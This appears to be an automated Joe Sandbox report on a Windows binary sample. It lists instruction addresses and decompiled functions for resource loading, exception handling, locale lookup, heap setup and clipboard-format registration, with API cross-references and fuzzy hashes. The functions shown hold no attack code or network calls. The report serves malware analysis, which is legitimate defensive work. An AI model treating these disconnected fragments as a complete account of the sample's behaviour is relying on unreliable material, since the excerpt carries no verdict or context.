0x00b4fd7c
0x00b4fd7d
0x00b4fd7f
0x00000000
0x00000000
0x00000000
0x00b4fd81
0x00b4fd72
0x00000000
0x00000000
0x00b4fc7d
0x00b4fc7f
0x00b4fc83
0x00b4fc86
0x00000000
0x00000000
0x00b4fc8c
0x00b4fc90
0x00b4fcad
0x00b4fcb0
0x00b4fcb0
0x00b4fcb3
0x00b4fcb6
0x00b4fcb9
0x00b4fcb9
0x00b4fcbc
0x00b4fcbc
0x00b4fcbf
0x00b4fcc2
0x00b4fcc4
0x00b4fcc9
0x00b4fcca
0x00b4fccc
0x00b4fcce
0x00b4fcd1
0x00b4fcd4
0x00b4fcd6
0x00b4fcda
0x00b4fce2
0x00b4fce6
0x00b4fcee
0x00b4fcee
0x00b4fcee
0x00b4fcee
0x00b4fcda
0x00b4fcfc
0x00b4fd01
0x00b4fd04
0x00b4fd07
0x00b4fd0a
0x00b4fd0c
0x00b4fd0f
0x00000000
0x00b4fd0f
0x00b4fc98
0x00b4fc9e
0x00b4fca0
0x00b4fca7
0x00000000
0x00b4fca7
0x00b4fca2
0x00000000
0x00000000
0x00b4fd94
0x00b4fd96
0x00b4fd97
0x00b4fd99
0x00b4fd9c
0x00b4fd9d
0x00b4fda0
0x00b4fda4
0x00b4fda7
0x00b4fdbc
0x00b4fdbf
0x00b4fdbf
0x00b4fdc2
0x00b4fdc5
0x00b4fda9
0x00b4fdaf
0x00b4fdb5
0x00b4fdb8
0x00b4fdb8
0x00b4fdc8
0x00b4fdca
0x00b4fdcc
0x00b4fdcf
0x00b4fdd5
0x00b4fdd7
0x00b4fdd9
0x00b4fddc
0x00b4fde1
0x00b4fde6
0x00b4fde6
0x00b4fde9
0x00b4fdec
0x00b4fdee
0x00b4fdf0
0x00b4fdf3
0x00b4fdf5
0x00b4fe19
0x00b4fe19
0x00b4fe1b
0x00b4fe2c
0x00b4fe2c
0x00b4fe2c
0x00b4fe2c
0x00b4fe30
0x00b4fe30
0x00b4fe33
0x00b4fe35
0x00b4fe38
0x00b4fe5c
0x00b4fe5f
0x00b4fe62
0x00b4fe62
0x00b4fe64
0x00b4fe67
0x00b4fe69
0x00b4fe6c
0x00b4fe6c
0x00b4fe6d
0x00b4fe6d
0x00b4fe6f
0x00b4fe71
0x00b4fe73
0x00b4fe8b
0x00b4fe8b
0x00b4fe8f
0x00b4fe91
0x00b4fe94
0x00b4fe97
0x00b4fe97
0x00b4fe97
0x00b4fe98
0x00000000
0x00b4fe75
0x00b4fe75
0x00b4fe75
0x00b4fe78
0x00b4fe7b
0x00b4fe7c
0x00b4fe7f
0x00b4fe81
0x00b4fe84
0x00b4fe84
0x00b4fe84
0x00b4fe85
0x00b4fe86
0x00b4fe86
0x00000000
0x00b4fe75
0x00b4fe73
0x00b4fe3a
0x00b4fe3d
0x00b4fe42
0x00b4fe48
0x00b4fe4b
0x00b4fe4c
0x00b4fe4d
0x00b4fe4f
0x00b4fe51
0x00000000
0x00000000
0x00b4fe57
0x00000000
0x00b4fe57
0x00b4fe1d
0x00b4fe21
0x00000000
0x00000000
0x00b4fe23
0x00000000
0x00b4fdf7
0x00b4fdf7
0x00b4fdf9
0x00b4fdf9
0x00b4fdfc
0x00b4fdfe
0x00000000
0x00000000
0x00b4fe00
0x00b4fe03
0x00b4fe05
0x00b4fe05
0x00b4fe05
0x00b4fe06
0x00b4fe07
0x00b4fe07
0x00b4fe07
0x00b4fe0a
0x00b4fe0d
0x00b4fe13
0x00b4fe16
0x00000000
0x00b4fe16
0x00000000
0x00b4fea1
0x00b4fea4
0x00b4fea7
0x00b4feaa
0x00b4fead
0x00b4feaf
0x00b4feb5
0x00b4feb9
0x00b4fec7
0x00b4fecc
0x00b4feb9
0x00000000
0x00000000
0x00b4fed4
0x00b4fed7
0x00b4fed9
0x00b4fedc
0x00b4fedf
0x00b4fee3
0x00b4fee9
0x00b4feed
0x00b4feef
0x00b4ff04
0x00b4ff09
0x00b4ff19
0x00b4ff1e
0x00b4ff1f
0x00b4fc72
0x00b4fc72
0x00b4fc76
0x00000000
0x00000000
0x00b4f531
0x00b4f535
0x00b4f5ac
0x00b4f5b0
0x00b4f5c4
0x00b4f5c6
0x00b4f5c9
0x00b4f5d5
0x00b4f5d7
0x00b4f5da
0x00b4f5da
0x00b4f5cb
0x00b4f5cb
0x00b4f5cd
0x00b4f5d0
0x00b4f5d0
0x00b4f5dc
0x00b4f5b2
0x00b4f5be
0x00b4f5c0
0x00b4f5c0
0x00b4f5df
0x00b4f5df
0x00b4f5e1
0x00b4f5e3
0x00b4f5e6
0x00b4f5e8
0x00b4f5ea
0x00b4f5ea
0x00b4f5f2
0x00b4f60d
0x00b4f5f4
0x00b4f605
0x00b4f608
0x00b4f608
0x00b4f613
0x00b4f62a
0x00b4f62d
0x00b4f630
0x00b4f637
0x00b4f639
0x00b4f63f
0x00b4f645
0x00b4f647
0x00b4ff2d
0x00b4ff2d
0x00b4ff30
0x00b4ff34
0x00000000
0x00b4ff34
0x00000000
0x00b4f615
0x00b4f615
0x00b4f618
0x00b4f61f
0x00b4f64d
0x00b4f651
0x00b4f657
0x00b4f65a
0x00b4f6b3
0x00b4f6b3
0x00b4f6bf
0x00b4f6c5
0x00b4f6c9
0x00b4f6ca
0x00b4f6cd
0x00b4f6d3
0x00b4f6d3
0x00b4f6d4
0x00b4f6d5
0x00b4f6d6
0x00b4f6d7
0x00b4f6d8
0x00b4f6d9
0x00b4f6dc
0x00b4f6e1
0x00b4f6e7
0x00b4f6e8
0x00b4f6ea
0x00b4f6f2
0x00b4f6fb
0x00b4f6fe
0x00b4f700
0x00b4f703
0x00b4f703
0x00b4f710
0x00b4f718
0x00b4f71e
0x00b4f722
0x00b4f730
0x00b4f730
0x00b4f735
0x00b4f737
0x00b4f738
0x00b4f73b
0x00b4f73b
0x00b4f741
0x00b4f768
0x00b4f76b
0x00b4f76d
0x00b4f76d
0x00b4f770
0x00b4f770
0x00b4f773
0x00b4f776
0x00b4f778
0x00b4f77d
0x00b4f789
0x00b4f78e
0x00b4f78e
0x00b4f792
0x00b4f797
0x00b4f79c
0x00b4f79f
0x00b4f7a4
0x00b4f7b0
0x00b4f7b5
0x00b4f7b5
0x00b4f7b8
0x00b4f7c0
0x00b4f7c5
0x00b4f7ce
0x00b4f7ce
0x00b4f7d7
0x00b4f7d8
0x00b4f7dd
0x00000000
0x00b4f7e3
0x00b4f7e3
0x00b4f7e6
0x00000000
0x00b4f7e6
0x00b4f743
0x00b4f746
0x00b4f74b
0x00000000
0x00000000
0x00b4f750
0x00b4f755
0x00b4f759
0x00000000
0x00000000
0x00000000
0x00000000
0x00b4f75b
0x00b4f75b
0x00b4f75b
0x00b4f75c
0x00b4f75d
0x00b4f75f
0x00b4f761
0x00b4f765
0x00000000
0x00b4f765
0x00000000
0x00000000
0x00000000
0x00b4f724
0x00b4f724
0x00b4f724
0x00b4f725
0x00b4f726
0x00b4f729
0x00b4f72d
0x00000000
0x00b4f72d
0x00b4f65c
0x00b4f65d
0x00b4f65f
0x00b4f665
0x00b4f666
0x00b4f667
0x00b4f66c
0x00b4f672
0x00b4f673
0x00b4f679
0x00b4f693
0x00b4f693
0x00b4f69a
0x00b4f69a
0x00b4f6a4
0x00b4f6a7
0x00b4f6b1
0x00000000
0x00b4f6b1
0x00b4f67b
0x00b4f67d
0x00b4f683
0x00b4f684
0x00b4f685
0x00b4f68d
0x00b4f697
0x00000000
0x00000000
0x00000000
0x00000000
0x00b4f68d
0x00b4f613
0x00b4f53b
0x00b4f54b
0x00b4f54d
0x00b4f550
0x00b4f55f
0x00b4f562
0x00b4f565
0x00b4f568
0x00b4f569
0x00b4f569
0x00b4f56b
0x00b4f56d
0x00b4f56d
0x00b4f56f
0x00b4f594
0x00b4f598
0x00b4f59e
0x00b4f5a7
0x00b4f59a
0x00b4f59a
0x00b4f59a
0x00000000
0x00b4f577
0x00b4f579
0x00b4f589
0x00b4f589
0x00b4f58b
0x00b4f58e
0x00b4f590
0x00b4f590
0x00000000
0x00b4f590
0x00b4f57b
0x00b4f583
0x00000000
0x00000000
0x00b4f585
0x00000000
0x00b4f585
0x00b4f56f
0x00b4f552
0x00b4f554
0x00b4f557
0x00b4f55a
0x00000000
0x00b4f55a
0x00b4f543
0x00b4f548
0x00000000
0x00000000
0x00b4f51e
0x00b4f4f3
0x00b4f4fd
0x00b4f500
0x00b4f50c
0x00b4f50c
0x00b4f50f
0x00000000
0x00b4f50f
0x00b4f506
0x00000000
0x00000000
0x00000000
0x00b4f506
0x00b4f40d
0x00b4f40e
0x00b4f411
0x00b4f417
0x00b4f45e
0x00b4f463
0x00b4f47e
0x00b4f484
0x00000000
0x00000000
0x00000000
0x00000000
0x00b4f465
0x00b4f465
0x00b4f468
0x00000000
0x00000000
0x00b4f470
0x00b4f472
0x00b4f473
0x00b4f479
0x00000000
0x00000000
0x00000000
0x00b4f479
0x00b4f47b
0x00000000
0x00b4f47b
0x00b4f41d
0x00b4f435
0x00b4f438
0x00b4f43b
0x00b4f43e
0x00b4f41f
0x00b4f425
0x00b4f42b
0x00b4f42e
0x00b4f430
0x00b4f430
0x00b4f441
0x00b4f442
0x00b4f445
0x00b4f44a
0x00000000
0x00b4f44c
0x00b4f459
0x00000000
0x00b4f459
0x00000000
0x00000000
0x00000000
0x00b4f3e7
0x00b4f3e7
0x00b4f3ea
0x00000000
0x00000000
0x00b4f3f2
0x00b4f3f4
0x00b4f3f5
0x00b4f3fb
0x00000000
0x00000000
0x00000000
0x00b4f3fb
0x00b4f3fd
0x00000000
0x00b4f3fd
0x00b4f39b
0x00b4f3ae
0x00b4f3b0
0x00b4f3b3
0x00b4f39d
0x00b4f3a3
0x00b4f3a9
0x00b4f3a9
0x00b4f3b6
0x00b4f3bb
0x00b4f3bf
0x00b4f3ce
0x00b4f3d1
0x00b4f3d4
0x00b4f3d4
0x00b4f3d7
0x00b4f3d8
0x00b4f3db
0x00000000
0x00b4f3db
0x00b4f2fc
0x00b4f2fc
0x00b4f2fe
0x00b4f2fe
0x00b4f2ff
0x00b4f301
0x00b4f30b
0x00b4f313
0x00b4f318
0x00b4f31b
0x00b4f321
0x00000000
0x00000000
0x00000000
0x00b4f321
0x00b4f2fa
0x00b4f2f7

Strings

NaN, xrefs: 00B4F8E8
d, xrefs: 00B4F2ED
Inf, xrefs: 00B4FA03
+, xrefs: 00B4F876
F, xrefs: 00B4F618

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID:
String ID: +$F$Inf$NaN$d
API String ID: 0-1591642396
Opcode ID: e6c74125e35478a8056c0f15a20e42d9c3270dc2136940b42486e9ab3ff5b9d0
Instruction ID: bf077bbd9eb66fea29bdcdab535e85391c6ec279dba1f79f718640716f9a794e
Opcode Fuzzy Hash: e6c74125e35478a8056c0f15a20e42d9c3270dc2136940b42486e9ab3ff5b9d0
Instruction Fuzzy Hash: B972C671D0469A8EDF25CFB888417BDBBF1EF56304F2481EED489AB252D7308A45EB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B97919 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00B97919(intOrPtr __ecx, void* __edx, void* __fp0, WCHAR* _a4, struct HINSTANCE__* _a8) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t8;
				void* _t9;
				void* _t14;
				struct HRSRC__* _t15;
				void* _t19;
				void* _t21;
				struct HINSTANCE__* _t24;
				void* _t26;
				void* _t31;

				_t31 = __fp0;
				_t19 = __edx;
				_push(__ecx);
				_push(_t14);
				_t24 = _a8;
				_v8 = __ecx;
				if(_t24 == 0) {
					_t24 =  *(E00B6D804(_t14, _t24) + 0xc);
				}
				_t8 = FindResourceW(_t24, _a4, "PNG");
				_t15 = _t8;
				if(_t15 != 0) {
					_t8 = LoadResource(_t24, _t15);
					_t21 = _t8;
					if(_t21 != 0) {
						_t9 = LockResource(_t21);
						_a8 = _t9;
						if(_t9 != 0) {
							_push(SizeofResource(_t24, _t15));
							_push(_a8);
							_t26 = L00B9798F(_t15, _v8, _t19, _t21, _t24, _t31);
						} else {
							_t26 = 0;
						}
						FreeResource(_t21);
						_t8 = _t26;
					}
				}
				return _t8;
			}

0x00b97919
0x00b97919
0x00b9791c
0x00b9791d
0x00b9791f
0x00b97922
0x00b97927
0x00b9792e
0x00b9792e
0x00b9793a
0x00b97940
0x00b97944
0x00b97949
0x00b9794f
0x00b97953
0x00b97956
0x00b9795c
0x00b97961
0x00b97972
0x00b97973
0x00b9797b
0x00b97963
0x00b97963
0x00b97963
0x00b9797e
0x00b97984
0x00b97984
0x00b97986
0x00b9798c

APIs

FindResourceW.KERNEL32(?,?,PNG,?,?,00D053B8,?,00B986FD,?,?,?,00000038,00B975CE), ref: 00B9793A
LoadResource.KERNEL32(?,00000000,?,?,00D053B8,?,00B986FD,?,?,?,00000038,00B975CE), ref: 00B97949
LockResource.KERNEL32(00000000,?,00D053B8,?,00B986FD,?,?,?,00000038,00B975CE), ref: 00B97956
SizeofResource.KERNEL32(?,00000000,?,00D053B8,?,00B986FD,?,?,?,00000038,00B975CE), ref: 00B97969
FreeResource.KERNEL32(00000000,?,00000000,?,00D053B8,?,00B986FD,?,?,?,00000038,00B975CE), ref: 00B9797E

Strings

PNG, xrefs: 00B97931

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Resource$FindFreeLoadLockSizeof
String ID: PNG
API String ID: 4159136517-364855578
Opcode ID: efa5d671e92f4c62862c28897f9698f6cf866063c603f3c5993c3ea7b40eb764
Instruction ID: 1121b31c76e8177053d49cc302ade9d874a117b16bb4a5fe059652d0b37c563e
Opcode Fuzzy Hash: efa5d671e92f4c62862c28897f9698f6cf866063c603f3c5993c3ea7b40eb764
Instruction Fuzzy Hash: 0501A236554555BB9F126F949C84EBFB7ECEF897A170081A5FD05A7250DF30CD008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C8EC83 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00C90BEE,?,?,?,00000000), ref: 00C8EC88
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 00C8EC91

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5fcb043159a83df18ece84396d2440a35b839d57034326b7c96278c661d9b2b0
Instruction ID: 42a85ba47bd40d61fd65854f09efd55fae28d815ec2c96023e96c2846cbe1045
Opcode Fuzzy Hash: 5fcb043159a83df18ece84396d2440a35b839d57034326b7c96278c661d9b2b0
Instruction Fuzzy Hash: 5DB09231044748ABEA002BA2EC49B8E3F68EB08AA2F004010F61D4A4708B6354508A91

Uniqueness

Uniqueness Score: -1.00%

Function 00C9C223 Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000000,00000002,?,?,00C8BC1C,?,?,?,00000002,00000000,00000000,?), ref: 00C9C24A

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2ccb07b5790b0cbbb77886af2404450f9c19cbb7f974e3a6846812eba00b50ec
Instruction ID: 1f3d13ca3bccf02df03b8bb8cb7fba80de1f7922b0290f3ba34b89538d41607c
Opcode Fuzzy Hash: 2ccb07b5790b0cbbb77886af2404450f9c19cbb7f974e3a6846812eba00b50ec
Instruction Fuzzy Hash: 7DD05E3204020DBF9F029FD0FC4AC6E3B6DFB58314B404401F91C85121D632A630AB31

Uniqueness

Uniqueness Score: -1.00%

Function 00B0D519 Relevance: 1.5, APIs: 1, Instructions: 17
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B0D519(void* __ecx, void** _a4) {
				void* _v12;

				NtQueryInformationFile( *_a4,  &_v12,  &(_a4[1]), 0x3f0, 9);
				return 0;
			}

0x00b0d532
0x00b0d53d

APIs

NtQueryInformationFile.NTDLL(?,?,?,000003F0,00000009), ref: 00B0D532

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: FileInformationQuery
String ID:
API String ID: 365787318-0
Opcode ID: 579ad3b2aa8ed5be810534985eb284989ee600403963437ecd7674ef5905a2e2
Instruction ID: b7b3235f4d815a5da765d39761bc74c2c40dd81603ccb209d405bb71e0b5b26c
Opcode Fuzzy Hash: 579ad3b2aa8ed5be810534985eb284989ee600403963437ecd7674ef5905a2e2
Instruction Fuzzy Hash: 8CD0A77615010C7FD304CF94DC05DA77BECEB09300F004169FA04CA151F672A9108BF1

Uniqueness

Uniqueness Score: -1.00%

Function 00B02082 Relevance: 1.3, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00B02082() {
				signed int _t4;
				void* _t8;
				signed int _t9;

				_t4 =  *0xd6ab0c; // 0x3
				if((_t4 & 0x00000001) == 0) {
					 *0xd6ab0c = _t4 | 0x00000001;
					_t8 = GetProcessHeap();
					 *0xd6ab00 = 0xcf2934;
					 *0xd6ab04 = _t8;
					 *0xd6ab08 = 0;
					0xc80d99(0xced6a1);
					_t4 =  *0xd6ab0c; // 0x3
				}
				if((_t4 & 0x00000002) == 0) {
					 *0xd6ab1c =  *0xd6ab1c & 0x00000000;
					 *0xd6ab20 =  *0xd6ab20 & 0x00000000;
					_t9 = 2;
					 *0xd6ab24 = _t9;
					 *0xd6ab0c = _t4 | _t9;
					 *0xd6ab10 = 0xcf294c;
					 *0xd6ab14 = 0xd6ab00;
					 *0xd6ab28 = 0;
					 *0xd6ab18 = 0xd6ab10;
					0xc80d99(0xced6ab);
				}
				return 0xd6ab10;
			}

0x00b02082
0x00b02089
0x00b0208e
0x00b02093
0x00b0209e
0x00b020a8
0x00b020ad
0x00b020b4
0x00b020b9
0x00b020be
0x00b020c7
0x00b020c9
0x00b020d0
0x00b020d9
0x00b020dc
0x00b020e4
0x00b020ee
0x00b020f8
0x00b02102
0x00b02108
0x00b0210e
0x00b02113
0x00b02117

APIs

GetProcessHeap.KERNEL32(00B01029), ref: 00B02093

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f3c9bc6476469c08cfea9de6ca15ca3de08890cfb6db5328d18310f6e6cd8f0
Instruction ID: d5ce0d18392a77471f92f4ade935afd731d7ac4e8662707ce16101e45e78c3f6
Opcode Fuzzy Hash: 1f3c9bc6476469c08cfea9de6ca15ca3de08890cfb6db5328d18310f6e6cd8f0
Instruction Fuzzy Hash: 7901EFB1A153208FC748DF5CB9197203BA2A305329F10842AE184EA3A1C3F42D05CF7B

Uniqueness

Uniqueness Score: -1.00%

Function 00C82700 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 077b9cbda5782ad7df25e0eafc855ec57c3716a4de2c80cd4bf59a75e4b61d7a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 901131B720018183D604AA3FC9FC5B7D395EBC5328B2C4376D1624B758D222EB46A708

Uniqueness

Uniqueness Score: -1.00%

Function 00CC199F Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebde6888905ab8f347640999d623e35bce14748a03c12a53dccd241937934ddf
Instruction ID: 958be99ee135064774e040f2d1bc23c9868af9db5dd17b5c4d5f7dd02ddb47f1
Opcode Fuzzy Hash: ebde6888905ab8f347640999d623e35bce14748a03c12a53dccd241937934ddf
Instruction Fuzzy Hash: F9F0157050560AFFCB10DF2AC051BA8B7A0BF45321F28C229E82987291C774DA80EB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B01C0F Relevance: 42.0, APIs: 12, Strings: 12, Instructions: 46registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatW.USER32(Native), ref: 00C80BD5
RegisterClipboardFormatW.USER32(OwnerLink), ref: 00C80BDE
RegisterClipboardFormatW.USER32(ObjectLink), ref: 00C80BE8
RegisterClipboardFormatW.USER32(Embedded Object), ref: 00C80BF2
RegisterClipboardFormatW.USER32(Embed Source), ref: 00C80BFC
RegisterClipboardFormatW.USER32(Link Source), ref: 00C80C06
RegisterClipboardFormatW.USER32(Object Descriptor), ref: 00C80C10
RegisterClipboardFormatW.USER32(Link Source Descriptor), ref: 00C80C1A
RegisterClipboardFormatW.USER32(FileName), ref: 00C80C24
RegisterClipboardFormatW.USER32(FileNameW), ref: 00C80C2E
RegisterClipboardFormatW.USER32(Rich Text Format), ref: 00C80C38
RegisterClipboardFormatW.USER32(RichEdit Text and Objects), ref: 00C80C42

Strings

ObjectLink, xrefs: 00C80BE0
Link Source Descriptor, xrefs: 00C80C12
Link Source, xrefs: 00C80BFE
Embed Source, xrefs: 00C80BF4
OwnerLink, xrefs: 00C80BD7
Rich Text Format, xrefs: 00C80C30
FileNameW, xrefs: 00C80C26
Embedded Object, xrefs: 00C80BEA
FileName, xrefs: 00C80C1C
RichEdit Text and Objects, xrefs: 00C80C3A
Object Descriptor, xrefs: 00C80C08
Native, xrefs: 00C80BCE

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ClipboardFormatRegister
